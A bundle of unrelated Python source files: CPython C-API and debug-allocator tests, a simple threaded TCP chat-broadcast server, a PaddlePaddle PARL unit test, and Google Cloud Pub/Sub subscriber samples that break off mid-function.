self.assertEqual(obj.pvalue, 0)
def test_pynumber_tobase(self):
from _testcapi import pynumber_tobase
self.assertEqual(pynumber_tobase(123, 2), '0b1111011')
self.assertEqual(pynumber_tobase(123, 8), '0o173')
self.assertEqual(pynumber_tobase(123, 10), '123')
self.assertEqual(pynumber_tobase(123, 16), '0x7b')
self.assertEqual(pynumber_tobase(-123, 2), '-0b1111011')
self.assertEqual(pynumber_tobase(-123, 8), '-0o173')
self.assertEqual(pynumber_tobase(-123, 10), '-123')
self.assertEqual(pynumber_tobase(-123, 16), '-0x7b')
self.assertRaises(TypeError, pynumber_tobase, 123.0, 10)
self.assertRaises(TypeError, pynumber_tobase, '123', 10)
self.assertRaises(SystemError, pynumber_tobase, 123, 0)
def check_fatal_error(self, code, expected, not_expected=()):
with support.SuppressCrashReport():
rc, out, err = assert_python_failure('-sSI', '-c', code)
err = decode_stderr(err)
self.assertIn('Fatal Python error: test_fatal_error: MESSAGE\n',
err)
match = re.search(r'^Extension modules:(.*) \(total: ([0-9]+)\)$',
err, re.MULTILINE)
if not match:
self.fail(f"Cannot find 'Extension modules:' in {err!r}")
modules = set(match.group(1).strip().split(', '))
total = int(match.group(2))
for name in expected:
self.assertIn(name, modules)
for name in not_expected:
self.assertNotIn(name, modules)
self.assertEqual(len(modules), total)
def test_fatal_error(self):
# By default, stdlib extension modules are ignored,
# but not test modules.
expected = ('_testcapi',)
not_expected = ('sys',)
code = 'import _testcapi, sys; _testcapi.fatal_error(b"MESSAGE")'
self.check_fatal_error(code, expected, not_expected)
# Mark _testcapi as stdlib module, but not sys
expected = ('sys',)
not_expected = ('_testcapi',)
code = textwrap.dedent('''
import _testcapi, sys
sys.stdlib_module_names = frozenset({"_testcapi"})
_testcapi.fatal_error(b"MESSAGE")
''')
self.check_fatal_error(code, expected)
def test_pyobject_repr_from_null(self):
s = _testcapi.pyobject_repr_from_null()
self.assertEqual(s, '<NULL>')
def test_pyobject_str_from_null(self):
s = _testcapi.pyobject_str_from_null()
self.assertEqual(s, '<NULL>')
def test_pyobject_bytes_from_null(self):
s = _testcapi.pyobject_bytes_from_null()
self.assertEqual(s, b'<NULL>')
def test_Py_CompileString(self):
# Check that Py_CompileString respects the coding cookie
_compile = _testcapi.Py_CompileString
code = b"# -*- coding: latin1 -*-\nprint('\xc2\xa4')\n"
result = _compile(code)
expected = compile(code, "<string>", "exec")
self.assertEqual(result.co_consts, expected.co_consts)
def test_export_symbols(self):
# bpo-44133: Ensure that the "Py_FrozenMain" and
# "PyThread_get_thread_native_id" symbols are exported by the Python
# (directly by the binary, or via by the Python dynamic library).
ctypes = import_helper.import_module('ctypes')
names = []
# Test if the PY_HAVE_THREAD_NATIVE_ID macro is defined
if hasattr(_thread, 'get_native_id'):
names.append('PyThread_get_thread_native_id')
# Python/frozenmain.c fails to build on Windows when the symbols are
# missing:
# - PyWinFreeze_ExeInit
# - PyWinFreeze_ExeTerm
# - PyInitFrozenExtensions
if os.name != 'nt':
names.append('Py_FrozenMain')
for name in names:
with self.subTest(name=name):
self.assertTrue(hasattr(ctypes.pythonapi, name))
class TestPendingCalls(unittest.TestCase):
def pendingcalls_submit(self, l, n):
def callback():
#this function can be interrupted by thread switching so let's
#use an atomic operation
l.append(None)
for i in range(n):
time.sleep(random.random()*0.02) #0.01 secs on average
#try submitting callback until successful.
#rely on regular interrupt to flush queue if we are
#unsuccessful.
while True:
if _testcapi._pending_threadfunc(callback):
break
def pendingcalls_wait(self, l, n, context = None):
#now, stick around until l[0] has grown to 10
count = 0
while len(l) != n:
#this busy loop is where we expect to be interrupted to
#run our callbacks. Note that callbacks are only run on the
#main thread
if False and support.verbose:
print("(%i)"%(len(l),),)
for i in range(1000):
a = i*i
if context and not context.event.is_set():
continue
count += 1
self.assertTrue(count < 10000,
"timeout waiting for %i callbacks, got %i"%(n, len(l)))
if False and support.verbose:
print("(%i)"%(len(l),))
def test_pendingcalls_threaded(self):
#do every callback on a separate thread
n = 32 #total callbacks
threads = []
class foo(object):pass
context = foo()
context.l = []
context.n = 2 #submits per thread
context.nThreads = n // context.n
context.nFinished = 0
context.lock = threading.Lock()
context.event = threading.Event()
threads = [threading.Thread(target=self.pendingcalls_thread,
args=(context,))
for i in range(context.nThreads)]
with threading_helper.start_threads(threads):
self.pendingcalls_wait(context.l, n, context)
def pendingcalls_thread(self, context):
try:
self.pendingcalls_submit(context.l, context.n)
finally:
with context.lock:
context.nFinished += 1
nFinished = context.nFinished
if False and support.verbose:
print("finished threads: ", nFinished)
if nFinished == context.nThreads:
context.event.set()
def test_pendingcalls_non_threaded(self):
#again, just using the main thread, likely they will all be dispatched at
#once. It is ok to ask for too many, because we loop until we find a slot.
#the loop can be interrupted to dispatch.
#there are only 32 dispatch slots, so we go for twice that!
l = []
n = 64
self.pendingcalls_submit(l, n)
self.pendingcalls_wait(l, n)
class SubinterpreterTest(unittest.TestCase):
def test_subinterps(self):
import builtins
r, w = os.pipe()
code = """if 1:
import sys, builtins, pickle
with open({:d}, "wb") as f:
pickle.dump(id(sys.modules), f)
pickle.dump(id(builtins), f)
""".format(w)
with open(r, "rb") as f:
ret = support.run_in_subinterp(code)
self.assertEqual(ret, 0)
self.assertNotEqual(pickle.load(f), id(sys.modules))
self.assertNotEqual(pickle.load(f), id(builtins))
def test_subinterps_recent_language_features(self):
r, w = os.pipe()
code = """if 1:
import pickle
with open({:d}, "wb") as f:
@(lambda x:x) # Py 3.9
def noop(x): return x
a = (b := f'1{{2}}3') + noop('x') # Py 3.8 (:=) / 3.6 (f'')
async def foo(arg): return await arg # Py 3.5
pickle.dump(dict(a=a, b=b), f)
""".format(w)
with open(r, "rb") as f:
ret = support.run_in_subinterp(code)
self.assertEqual(ret, 0)
self.assertEqual(pickle.load(f), {'a': '123x', 'b': '123'})
def test_mutate_exception(self):
"""
Exceptions saved in global module state get shared between
individual module instances. This test checks whether or not
a change in one interpreter's module gets reflected into the
other ones.
"""
import binascii
support.run_in_subinterp("import binascii; binascii.Error.foobar = 'foobar'")
self.assertFalse(hasattr(binascii.Error, "foobar"))
@unittest.skipIf(_testmultiphase is None, "test requires _testmultiphase module")
def test_module_state_shared_in_global(self):
"""
bpo-44050: Extension module state should be shared between interpreters
when it doesn't support sub-interpreters.
"""
r, w = os.pipe()
self.addCleanup(os.close, r)
self.addCleanup(os.close, w)
script = textwrap.dedent(f"""
import importlib.machinery
import importlib.util
import os
fullname = '_test_module_state_shared'
origin = importlib.util.find_spec('_testmultiphase').origin
loader = importlib.machinery.ExtensionFileLoader(fullname, origin)
spec = importlib.util.spec_from_loader(fullname, loader)
module = importlib.util.module_from_spec(spec)
attr_id = str(id(module.Error)).encode()
os.write({w}, attr_id)
""")
exec(script)
main_attr_id = os.read(r, 100)
ret = support.run_in_subinterp(script)
self.assertEqual(ret, 0)
subinterp_attr_id = os.read(r, 100)
self.assertEqual(main_attr_id, subinterp_attr_id)
class TestThreadState(unittest.TestCase):
@threading_helper.reap_threads
def test_thread_state(self):
# some extra thread-state tests driven via _testcapi
def target():
idents = []
def callback():
idents.append(threading.get_ident())
_testcapi._test_thread_state(callback)
a = b = callback
time.sleep(1)
# Check our main thread is in the list exactly 3 times.
self.assertEqual(idents.count(threading.get_ident()), 3,
"Couldn't find main thread correctly in the list")
target()
t = threading.Thread(target=target)
t.start()
t.join()
class Test_testcapi(unittest.TestCase):
locals().update((name, getattr(_testcapi, name))
for name in dir(_testcapi)
if name.startswith('test_') and not name.endswith('_code'))
# Suppress warning from PyUnicode_FromUnicode().
@warnings_helper.ignore_warnings(category=DeprecationWarning)
def test_widechar(self):
_testcapi.test_widechar()
def test_version_api_data(self):
self.assertEqual(_testcapi.Py_Version, sys.hexversion)
class Test_testinternalcapi(unittest.TestCase):
locals().update((name, getattr(_testinternalcapi, name))
for name in dir(_testinternalcapi)
if name.startswith('test_'))
class PyMemDebugTests(unittest.TestCase):
PYTHONMALLOC = 'debug'
# '0x04c06e0' or '04C06E0'
PTR_REGEX = r'(?:0x)?[0-9a-fA-F]+'
def check(self, code):
with support.SuppressCrashReport():
out = assert_python_failure(
'-c', code,
PYTHONMALLOC=self.PYTHONMALLOC,
# FreeBSD: instruct jemalloc to not fill freed() memory
# with junk byte 0x5a, see JEMALLOC(3)
MALLOC_CONF="junk:false",
)
stderr = out.err
return stderr.decode('ascii', 'replace')
def test_buffer_overflow(self):
out = self.check('import _testcapi; _testcapi.pymem_buffer_overflow()')
regex = (r"Debug memory block at address p={ptr}: API 'm'\n"
r" 16 bytes originally requested\n"
r" The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n"
r" The [0-9] pad bytes at tail={ptr} are not all FORBIDDENBYTE \(0x[0-9a-f]{{2}}\):\n"
r" at tail\+0: 0x78 \*\*\* OUCH\n"
r" at tail\+1: 0xfd\n"
r" at tail\+2: 0xfd\n"
r" .*\n"
r"( The block was made by call #[0-9]+ to debug malloc/realloc.\n)?"
r" Data at p: cd cd cd .*\n"
r"\n"
r"Enable tracemalloc to get the memory block allocation traceback\n"
r"\n"
r"Fatal Python error: _PyMem_DebugRawFree: bad trailing pad byte")
regex = regex.format(ptr=self.PTR_REGEX)
regex = re.compile(regex, flags=re.DOTALL)
self.assertRegex(out, regex)
def test_api_misuse(self):
out = self.check('import _testcapi; _testcapi.pymem_api_misuse()')
regex = (r"Debug memory block at address p={ptr}: API 'm'\n"
r" 16 bytes originally requested\n"
r" The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n"
r" The [0-9] pad bytes at tail={ptr} are FORBIDDENBYTE, as expected.\n"
r"( The block was made by call #[0-9]+ to debug malloc/realloc.\n)?"
r" Data at p: cd cd cd .*\n"
r"\n"
r"Enable tracemalloc to get the memory block allocation traceback\n"
r"\n"
r"Fatal Python error: _PyMem_DebugRawFree: bad ID: Allocated using API 'm', verified using API 'r'\n")
regex = regex.format(ptr=self.PTR_REGEX)
self.assertRegex(out, regex)
def check_malloc_without_gil(self, code):
out = self.check(code)
expected = ('Fatal Python error: _PyMem_DebugMalloc: '
'Python memory allocator called without holding the GIL')
self.assertIn(expected, out)
def test_pymem_malloc_without_gil(self):
# Debug hooks must raise an error if PyMem_Malloc() is called
# without holding the GIL
code = 'import _testcapi; _testcapi.pymem_malloc_without_gil()'
self.check_malloc_without_gil(code)
def test_pyobject_malloc_without_gil(self):
# Debug hooks must raise an error if PyObject_Malloc() is called
# without holding the GIL
code = 'import _testcapi; _testcapi.pyobject_malloc_without_gil()'
self.check_malloc_without_gil(code)
def check_pyobject_is_freed(self, func_name):
code = textwrap.dedent(f'''
import gc, os, sys, _testcapi
# Disable the GC to avoid crash on GC collection
gc.disable()
try:
_testcapi.{func_name}()
# Exit immediately to avoid a crash while deallocating
# the invalid object
os._exit(0)
except _testcapi.error:
os._exit(1)
''')
assert_python_ok(
'-c', code,
PYTHONMALLOC=self.PYTHONMALLOC,
MALLOC_CONF="junk:false",
)
def test_pyobject_null_is_freed(self):
self.check_pyobject_is_freed('check_pyobject_null_is_freed')
def test_pyobject_uninitialized_is_freed(self):
self.check_pyobject_is_freed('check_pyobject_uninitialized_is_freed')
def test_pyobject_forbidden_bytes_is_freed(self):
self.check_pyobject_is_freed('check_pyobject_forbidden_bytes_is_freed')
def test_pyobject_freed_is_freed(self):
self.check_pyobject_is_freed('check_pyobject_freed_is_freed')
class PyMemMallocDebugTests(PyMemDebugTests):
PYTHONMALLOC = 'malloc_debug'
@unittest.skipUnless(support.with_pymalloc(), 'need pymalloc')
class PyMemPymallocDebugTests(PyMemDebugTests):
PYTHONMALLOC = 'pymalloc_debug'
@unittest.skipUnless(Py_DEBUG, 'need Py_DEBUG')
class PyMemDefaultTests(PyMemDebugTests):
# test default allocator of Python compiled in debug mode
PYTHONMALLOC = ''
@unittest.skipIf(_testmultiphase is None, "test requires _testmultiphase module")
class Test_ModuleStateAccess(unittest.TestCase):
"""Test access to module start (PEP 573)"""
# The C part of the tests lives in _testmultiphase, in a module called
# _testmultiphase_meth_state_access.
# This module has multi-phase initialization, unlike _testcapi.
def setUp(self):
fullname = '_testmultiphase_meth_state_access' # XXX
origin = importlib.util.find_spec('_testmultiphase').origin
loader = importlib.machinery.ExtensionFileLoader(fullname, origin)
spec = importlib.util.spec_from_loader(fullname, loader)
module = importlib.util.module_from_spec(spec)
loader.exec_module(module)
self.module = module
def test_subclass_get_module(self):
"""PyType_GetModule for defining_class"""
class StateAccessType_Subclass(self.module.StateAccessType):
pass
instance = StateAccessType_Subclass()
self.assertIs(instance.get_defining_module(), self.module)
def test_subclass_get_module_with_super(self):
class StateAccessType_Subclass(self.module.StateAccessType):
def get_defining_module(self):
return super().get_defining_module()
instance = StateAccessType_Subclass()
self.assertIs(instance.get_defining_module(), self.module)
def test_state_access(self):
"""Checks methods defined with and without argument clinic
This tests a no-arg method (get_count) and a method with
both a positional and keyword argument.
"""
a = self.module.StateAccessType()
b = self.module.StateAccessType()
methods = {
'clinic': a.increment_count_clinic,
'noclinic': a.increment_count_noclinic,
}
for name, increment_count in methods.items():
with self.subTest(name):
self.assertEqual(a.get_count(), b.get_count())
self.assertEqual(a.get_count(), 0)
increment_count()
self.assertEqual(a.get_count(), b.get_count())
self.assertEqual(a.get_count(), 1)
increment_count(3)
self.assertEqual(a.get_count(), b.get_count())
self.assertEqual(a.get_count(), 4)
increment_count(-2, twice=True)
self.assertEqual(a.get_count(), b.get_count())
self.assertEqual(a.get_count(), 0)
with self.assertRaises(TypeError):
increment_count(thrice=3)
with self.assertRaises(TypeError):
increment_count(1, 2, 3)
if __name__ == "__main__":
unittest.main()
|
fluffchat-server.py
|
import socket
from threading import Thread
# server's IP address
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5002 # port we want to use
# initialize list/set of all connected client's sockets
client_sockets = set()
# create a TCP socket
s = socket.socket()
# make the port as reusable port
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# bind the socket to the ip adderes and port
s.bind((SERVER_HOST, SERVER_PORT))
# listen for upcoming connections
s.listen(10)
print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
def listen_for_client(cs):
#listens for clients and when message recived broardcast to all clients
while True:
try:
# keep listening for a message from `cs` socket
msg = cs.recv(1024)#.decode()
except Exception as e:
# client no longer connected
# remove it from the set
print(f"[!] Error: {e}")
client_sockets.remove(cs)
else:
# iterate over all connected sockets
for client_socket in client_sockets:
# send message to all clients
client_socket.send(msg)
while True:
# listen for new connections all the time
client_socket, client_address = s.accept()
print(f"[+] {client_address} connected.")
# add the new connected client to connected sockets
client_sockets.add(client_socket)
# start a new thread that listens for each client's messages
t = Thread(target=listen_for_client, args=(client_socket,))
# make the thread daemon so it ends whenever the main thread ends
t.daemon = True
# start the thread
t.start()
# close client sockets
for cs in client_sockets:
cs.close()
# close server socket
s.close()
|
reset_job_test.py
|
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import parl
from parl.remote.master import Master
from parl.remote.worker import Worker
from parl.remote.client import disconnect
from parl.utils import logger
import subprocess
import time
import threading
import subprocess
import sys
@parl.remote_class
class Actor(object):
def __init__(self, arg1=None, arg2=None):
self.arg1 = arg1
self.arg2 = arg2
def get_arg1(self):
return self.arg1
def get_arg2(self):
return self.arg2
def set_arg1(self, value):
self.arg1 = value
def set_arg2(self, value):
self.arg2 = value
def add_one(self, value):
value += 1
return value
def add(self, x, y):
time.sleep(3)
return x + y
def will_raise_exception_func(self):
x = 1 / 0
class TestJob(unittest.TestCase):
def tearDown(self):
disconnect()
def test_acor_exit_exceptionally(self):
port = 1337
master = Master(port)
th = threading.Thread(target=master.run)
th.start()
time.sleep(1)
worker1 = Worker('localhost:{}'.format(port), 1)
file_path = __file__.replace('reset_job_test', 'simulate_client')
command = [sys.executable, file_path]
proc = subprocess.Popen(command)
for _ in range(6):
if master.cpu_num == 0:
break
else:
time.sleep(10)
self.assertEqual(master.cpu_num, 0)
proc.kill()
parl.connect('localhost:{}'.format(port))
actor = Actor()
master.exit()
worker1.exit()
disconnect()
if __name__ == '__main__':
unittest.main()
|
subscriber.py
|
#!/usr/bin/env python
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This application demonstrates how to perform basic operations on
subscriptions with the Cloud Pub/Sub API.
For more information, see the README.md under /pubsub and the documentation
at https://cloud.google.com/pubsub/docs.
"""
import argparse
def list_subscriptions_in_topic(project_id, topic_id):
"""Lists all subscriptions for a given topic."""
# [START pubsub_list_topic_subscriptions]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# topic_id = "your-topic-id"
publisher = pubsub_v1.PublisherClient()
topic_path = publisher.topic_path(project_id, topic_id)
response = publisher.list_topic_subscriptions(request={"topic": topic_path})
for subscription in response:
print(subscription)
# [END pubsub_list_topic_subscriptions]
def list_subscriptions_in_project(project_id):
"""Lists all subscriptions in the current project."""
# [START pubsub_list_subscriptions]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
subscriber = pubsub_v1.SubscriberClient()
project_path = f"projects/{project_id}"
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
for subscription in subscriber.list_subscriptions(
request={"project": project_path}
):
print(subscription.name)
# [END pubsub_list_subscriptions]
def create_subscription(project_id, topic_id, subscription_id):
"""Create a new pull subscription on the given topic."""
# [START pubsub_create_pull_subscription]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# topic_id = "your-topic-id"
# subscription_id = "your-subscription-id"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
subscription = subscriber.create_subscription(
request={"name": subscription_path, "topic": topic_path}
)
print("Subscription created: {}".format(subscription))
# [END pubsub_create_pull_subscription]
def create_subscription_with_dead_letter_topic(
project_id, topic_id, subscription_id, dead_letter_topic_id
):
"""Create a subscription with dead letter policy."""
# [START pubsub_dead_letter_create_subscription]
from google.cloud import pubsub_v1
from google.cloud.pubsub_v1.types import DeadLetterPolicy
# TODO(developer)
# project_id = "your-project-id"
# endpoint = "https://my-test-project.appspot.com/push"
# TODO(developer): This is an existing topic that the subscription
# with dead letter policy is attached to.
# topic_id = "your-topic-id"
# TODO(developer): This is an existing subscription with a dead letter policy.
# subscription_id = "your-subscription-id"
# TODO(developer): This is an existing dead letter topic that the subscription
# with dead letter policy will forward dead letter messages to.
# dead_letter_topic_id = "your-dead-letter-topic-id"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
dead_letter_topic_path = publisher.topic_path(project_id, dead_letter_topic_id)
dead_letter_policy = DeadLetterPolicy(
dead_letter_topic=dead_letter_topic_path, max_delivery_attempts=10
)
with subscriber:
request = {
"name": subscription_path,
"topic": topic_path,
"dead_letter_policy": dead_letter_policy,
}
subscription = subscriber.create_subscription(request)
print("Subscription created: {}".format(subscription.name))
print(
"It will forward dead letter messages to: {}".format(
subscription.dead_letter_policy.dead_letter_topic
)
)
print(
"After {} delivery attempts.".format(
subscription.dead_letter_policy.max_delivery_attempts
)
)
# [END pubsub_dead_letter_create_subscription]
def create_push_subscription(project_id, topic_id, subscription_id, endpoint):
"""Create a new push subscription on the given topic."""
# [START pubsub_create_push_subscription]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# topic_id = "your-topic-id"
# subscription_id = "your-subscription-id"
# endpoint = "https://my-test-project.appspot.com/push"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
push_config = pubsub_v1.types.PushConfig(push_endpoint=endpoint)
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
subscription = subscriber.create_subscription(
request={
"name": subscription_path,
"topic": topic_path,
"push_config": push_config,
}
)
print("Push subscription created: {}".format(subscription))
print("Endpoint for subscription is: {}".format(endpoint))
# [END pubsub_create_push_subscription]
def create_subscription_with_ordering(project_id, topic_id, subscription_id):
"""Create a subscription with dead letter policy."""
# [START pubsub_enable_subscription_ordering]
from google.cloud import pubsub_v1
# TODO(developer): Choose an existing topic.
# project_id = "your-project-id"
# topic_id = "your-topic-id"
# subscription_id = "your-subscription-id"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
with subscriber:
subscription = subscriber.create_subscription(
request={
"name": subscription_path,
"topic": topic_path,
"enable_message_ordering": True,
}
)
print("Created subscription with ordering: {}".format(subscription))
# [END pubsub_enable_subscription_ordering]
def delete_subscription(project_id, subscription_id):
"""Deletes an existing Pub/Sub topic."""
# [START pubsub_delete_subscription]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
subscriber.delete_subscription(request={"subscription": subscription_path})
print("Subscription deleted: {}".format(subscription_path))
# [END pubsub_delete_subscription]
def update_push_subscription(project_id, topic_id, subscription_id, endpoint):
"""
Updates an existing Pub/Sub subscription's push endpoint URL.
Note that certain properties of a subscription, such as
its topic, are not modifiable.
"""
# [START pubsub_update_push_configuration]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# topic_id = "your-topic-id"
# subscription_id = "your-subscription-id"
# endpoint = "https://my-test-project.appspot.com/push"
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
push_config = pubsub_v1.types.PushConfig(push_endpoint=endpoint)
subscription = pubsub_v1.types.Subscription(
name=subscription_path, topic=topic_id, push_config=push_config
)
update_mask = {"paths": {"push_config"}}
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
result = subscriber.update_subscription(
request={"subscription": subscription, "update_mask": update_mask}
)
print("Subscription updated: {}".format(subscription_path))
print("New endpoint for subscription is: {}".format(result.push_config))
# [END pubsub_update_push_configuration]
def update_subscription_with_dead_letter_policy(
project_id, topic_id, subscription_id, dead_letter_topic_id
):
"""Update a subscription's dead letter policy."""
# [START pubsub_dead_letter_update_subscription]
from google.cloud import pubsub_v1
from google.cloud.pubsub_v1.types import DeadLetterPolicy, FieldMask
# TODO(developer)
# project_id = "your-project-id"
# TODO(developer): This is an existing topic that the subscription
# with dead letter policy is attached to.
# topic_id = "your-topic-id"
# TODO(developer): This is an existing subscription with a dead letter policy.
# subscription_id = "your-subscription-id"
# TODO(developer): This is an existing dead letter topic that the subscription
# with dead letter policy will forward dead letter messages to.
# dead_letter_topic_id = "your-dead-letter-topic-id"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
dead_letter_topic_path = publisher.topic_path(project_id, dead_letter_topic_id)
subscription_before_update = subscriber.get_subscription(
request={"subscription": subscription_path}
)
print("Before the update: {}".format(subscription_before_update))
# Indicates which fields in the provided subscription to update.
update_mask = FieldMask(paths=["dead_letter_policy.max_delivery_attempts"])
# Construct a dead letter policy you expect to have after the update.
dead_letter_policy = DeadLetterPolicy(
dead_letter_topic=dead_letter_topic_path, max_delivery_attempts=20
)
# Construct the subscription with the dead letter policy you expect to have
# after the update. Here, values in the required fields (name, topic) help
# identify the subscription.
subscription = pubsub_v1.types.Subscription(
name=subscription_path, topic=topic_path, dead_letter_policy=dead_letter_policy,
)
with subscriber:
subscription_after_update = subscriber.update_subscription(
request={"subscription": subscription, "update_mask": update_mask}
)
print("After the update: {}".format(subscription_after_update))
# [END pubsub_dead_letter_update_subscription]
return subscription_after_update
def remove_dead_letter_policy(project_id, topic_id, subscription_id):
"""Remove dead letter policy from a subscription."""
# [START pubsub_dead_letter_remove]
from google.cloud import pubsub_v1
from google.cloud.pubsub_v1.types import FieldMask
# TODO(developer)
# project_id = "your-project-id"
# TODO(developer): This is an existing topic that the subscription
# with dead letter policy is attached to.
# topic_id = "your-topic-id"
# TODO(developer): This is an existing subscription with a dead letter policy.
# subscription_id = "your-subscription-id"
publisher = pubsub_v1.PublisherClient()
subscriber = pubsub_v1.SubscriberClient()
topic_path = publisher.topic_path(project_id, topic_id)
subscription_path = subscriber.subscription_path(project_id, subscription_id)
subscription_before_update = subscriber.get_subscription(
request={"subscription": subscription_path}
)
print("Before removing the policy: {}".format(subscription_before_update))
# Indicates which fields in the provided subscription to update.
update_mask = FieldMask(
paths=[
"dead_letter_policy.dead_letter_topic",
"dead_letter_policy.max_delivery_attempts",
]
)
# Construct the subscription (without any dead letter policy) that you
# expect to have after the update.
subscription = pubsub_v1.types.Subscription(
name=subscription_path, topic=topic_path
)
with subscriber:
subscription_after_update = subscriber.update_subscription(
request={"subscription": subscription, "update_mask": update_mask}
)
print("After removing the policy: {}".format(subscription_after_update))
# [END pubsub_dead_letter_remove]
return subscription_after_update
def receive_messages(project_id, subscription_id, timeout=None):
"""Receives messages from a pull subscription."""
# [START pubsub_subscriber_async_pull]
# [START pubsub_quickstart_subscriber]
from concurrent.futures import TimeoutError
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
# Number of seconds the subscriber should listen for messages
# timeout = 5.0
subscriber = pubsub_v1.SubscriberClient()
# The `subscription_path` method creates a fully qualified identifier
# in the form `projects/{project_id}/subscriptions/{subscription_id}`
subscription_path = subscriber.subscription_path(project_id, subscription_id)
def callback(message):
print("Received message: {}".format(message))
message.ack()
streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback)
print("Listening for messages on {}..\n".format(subscription_path))
# Wrap subscriber in a 'with' block to automatically call close() when done.
with subscriber:
try:
# When `timeout` is not set, result() will block indefinitely,
# unless an exception is encountered first.
streaming_pull_future.result(timeout=timeout)
except TimeoutError:
streaming_pull_future.cancel()
# [END pubsub_subscriber_async_pull]
# [END pubsub_quickstart_subscriber]
def receive_messages_with_custom_attributes(project_id, subscription_id, timeout=None):
"""Receives messages from a pull subscription."""
# [START pubsub_subscriber_async_pull_custom_attributes]
from concurrent.futures import TimeoutError
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
# Number of seconds the subscriber should listen for messages
# timeout = 5.0
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
def callback(message):
print("Received message: {}".format(message.data))
if message.attributes:
print("Attributes:")
for key in message.attributes:
value = message.attributes.get(key)
print("{}: {}".format(key, value))
message.ack()
streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback)
print("Listening for messages on {}..\n".format(subscription_path))
# Wrap subscriber in a 'with' block to automatically call close() when done.
with subscriber:
try:
# When `timeout` is not set, result() will block indefinitely,
# unless an exception is encountered first.
streaming_pull_future.result(timeout=timeout)
except TimeoutError:
streaming_pull_future.cancel()
# [END pubsub_subscriber_async_pull_custom_attributes]
def receive_messages_with_flow_control(project_id, subscription_id, timeout=None):
"""Receives messages from a pull subscription with flow control."""
# [START pubsub_subscriber_flow_settings]
from concurrent.futures import TimeoutError
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
# Number of seconds the subscriber should listen for messages
# timeout = 5.0
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
def callback(message):
print("Received message: {}".format(message.data))
message.ack()
# Limit the subscriber to only have ten outstanding messages at a time.
flow_control = pubsub_v1.types.FlowControl(max_messages=10)
streaming_pull_future = subscriber.subscribe(
subscription_path, callback=callback, flow_control=flow_control
)
print("Listening for messages on {}..\n".format(subscription_path))
# Wrap subscriber in a 'with' block to automatically call close() when done.
with subscriber:
try:
# When `timeout` is not set, result() will block indefinitely,
# unless an exception is encountered first.
streaming_pull_future.result(timeout=timeout)
except TimeoutError:
streaming_pull_future.cancel()
# [END pubsub_subscriber_flow_settings]
def synchronous_pull(project_id, subscription_id):
"""Pulling messages synchronously."""
# [START pubsub_subscriber_sync_pull]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
NUM_MESSAGES = 3
# Wrap the subscriber in a 'with' block to automatically call close() to
# close the underlying gRPC channel when done.
with subscriber:
# The subscriber pulls a specific number of messages.
response = subscriber.pull(
